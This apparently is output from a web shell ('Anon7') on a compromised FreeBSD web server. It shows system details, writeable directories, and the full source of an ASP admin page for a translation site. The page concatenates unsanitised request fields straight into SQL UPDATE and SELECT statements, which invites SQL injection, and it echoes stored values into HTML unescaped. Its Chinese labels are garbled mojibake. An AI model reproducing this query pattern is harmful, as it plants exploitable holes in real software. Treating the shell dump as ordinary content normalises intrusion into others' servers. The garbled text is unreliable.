KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/chinatranslationsweb/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/chinatranslationsweb/admin/module_edit_s.asp
<html>
<head>
<title>���ά��-ģ������-�޸�ģ������</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>
<!--

function show_type_onchange() {

	if (theform.show_type.value =="1") {
		theform.Button.disabled = false ;
	}else{
		theform.Button.disabled = true ; 
	}
	
	
}

//-->
</SCRIPT>
</head>
<%
set conn = APPLICATION("ACN")

if request("Submit")<>empty then 

	str = " update list_module_s set "&_
		" module_name ='"&request("module_name")&"',"&_
		" show_type = "&request("show_type")&","&_
		" sort_id="&request("sort_id")&","&_
		" module_note = '"&request("note")&" ',"&_
		" f_face = '"&request("f_face")&"',"&_
		" f_color = '"&request("f_color")&"',"&_
		" f_color_c = '"&request("f_color_c")&"',"&_
		" f_size = "&request("f_size")&","&_
		" nf_face = '"&request("nf_face")&"',"&_
		" nf_color = '"&request("nf_color")&"',"&_
		" nf_size = "&request("nf_size")&","&_
		" s_width = "&request("s_width")&","&_
		"	pagesize = "&request("pagesize")&","&_
		" show_location = '"&request("show_location")&"'"&_
		" where module_id ="&Request.Form("module_id")
	
	'Response.Write str 
	'Response.End
	
	conn.execute(str)	
	
	Response.Redirect "module_set_s.asp"	
end if 


module_id = request("module_id")
Set rs = server.CreateObject("adodb.recordset")
sSQL = "select * from list_module_s where module_id ="&module_id
rs.Open sSQL,conn
if not (rs.BOF and rs.EOF) then 
	module_name = rs("module_name")
	show_type = rs("show_type")
	sort_id = rs("sort_id")
	note = rs("module_note")
	pagesize = rs("pagesize")
	f_face = rs("f_face")
	f_color=rs("f_color")
	f_color_c = rs("f_color_c")
	f_size = rs("f_size")
	nf_face = rs("nf_face")
	nf_color = rs("nf_color")
	nf_size = rs("nf_size")
	s_width = rs("s_width")
	show1_color = rs("show1_color")
	show_location = rs("show_location")
end if 
rs.Close

%>
<body bgcolor="#FFFFFF">
<form method="post" action="" name=theform >
  <table width="70%" border="1" cellspacing="0" cellpadding="0" align="center">
    <tr>
      <td>
        <table width="100%" border="0" cellpadding="1" cellspacing="1">
          <tr> 
            <td colspan="2" bgcolor="eeeeff" height="25"><font size="2"><b>�޸�ģ����Ϣ</b></font></td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">����</font></td>
            <td width="81%"> 
              <input type="text" name="module_name" value="<%= module_name %>">
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��ʾ����</font></td>
            <td width="81%">
            <select name="show_type" size=1 LANGUAGE=javascript onchange="return show_type_onchange()">
		  <%
			
			sSQL = "select * from list_showtype "
			rs.Open sSQL,conn
			if not (rs.BOF and rs.EOF) then 
				do while not rs.eof
					response.write " <option "	
					if cint(show_type) = cint(rs("show_id")) then Response.Write " selected "
					response.write " value='"&rs("show_id")&"'>"& rs("show_name")&" </option>"
					rs.MoveNext
				loop
			end if 
			rs.close
			%> 
			</select>
			<font size = 2 >�б�ͼ�꣺<%=show1_color%></font>
			<input type="button" name="Button" value="����" language=javascript 
			onClick="window.location.href ='show1pic_set_s.asp?module_id=<%=module_id%>'">
			</td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��ʾλ��</font></td>
            <td width="81%"> 
              <select name="show_location">
				  <option value="M" <% if  show_location ="M" then Response.Write "selected "  %>>�����</option>
				  <option value="O" <% if  show_location ="O" then Response.Write "selected "  %> >��/�����</option>
				</select>
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��&nbsp;&nbsp;&nbsp;&nbsp;��</font></td>
            <td width="81%"> 
              <input type="text" name="sort_id" value="<%= sort_id %>">
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">ÿҳ��Ϣ��</font></td>
            <td width="81%"> 
              <input type="text" name="pagesize" value="<%= pagesize %>">
            </td>
          </tr>
           <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">������</font></td>
            <td width="81%"> 
              <input type="text" name="f_face" value="<%= f_face %>">
            </td>
          </tr>
           <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">ģ�����ɫ</font></td>
            <td width="81%"> <font size="2">#
              <input type="text" name="f_color" value="<%= f_color %>" size="6" maxlength="6" >
              ( ����16�����ַ� 0 - F ) </font> </td>
          </tr>
           <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">ģ���ѡ����ɫ</font></td>
            <td width="81%"> <font size="2">#
              <input type="text" name="f_color_c" value="<%= f_color_c %>" size="6" maxlength="6" >
              ( ����16�����ַ� 0 - F ) </font> </td>
          </tr>
           <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">ģ��������С</font></td>
            <td width="81%"> 
              <input type="text" name="f_size" value="<%= f_size %>" size="2" maxlength=2 >
              <font size="2">( ���� 1 - 7 ����� ) </font> </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">ģ�����ʾ���</font></td>
            <td width="81%"> <font size="2">
              <input type="text" name="s_width" value="<%= s_width %>" size="6" maxlength="6" > 
              ( ������� ) </font> </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#000000" > 
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��&nbsp;&nbsp;&nbsp;&nbsp;ע</font></td>
            <td width="81%"> 
              <textarea name="note" cols="50" rows="5"><%=note %></textarea>
            </td>
          </tr>
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��ע����</font></td>
            <td width="81%"> 
              <input type="text" name="nf_face" value="<%= nf_face %>">
            </td>
          </tr>
           <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��ע��ɫ</font></td>
            <td width="81%"> <font size="2">#
              <input type="text" name="nf_color" value="<%= nf_color %>" size="6" maxlength="6" >
              ( ����16�����ַ� 0 - F ) </font> </td>
          </tr>
           <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          <tr> 
            <td width="19%" height="25" bgcolor="F4F8F6" ><font size="2">��ע�����С</font></td>
            <td width="81%"> 
              <input type="text" name="nf_size" value="<%= nf_size %>" size="2" maxlength=2 >
              <font size="2">( ���� 1 - 7 ����� ) </font> </td>
          </tr>
          
          <tr> 
            <td colspan="2" height=1 bgcolor="#aaaaFF" > 
          </tr>
          
          <tr> 
            <td colspan="2" height="25" > 
              <div align="center"> 
                <input type="submit" name="Submit" value="����">
                <input type="button" name="Butcal" value="ȡ�����" language=javascript 
			onClick="window.location.href ='module_set_s.asp'">
                <INPUT type="hidden"  name=module_id  value="<%= module_id %>">
              </div>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
</form>
<div align=center>
<!--#include file="menu.asp" -->
</div>
</body>
</html>

Anon7 - 2021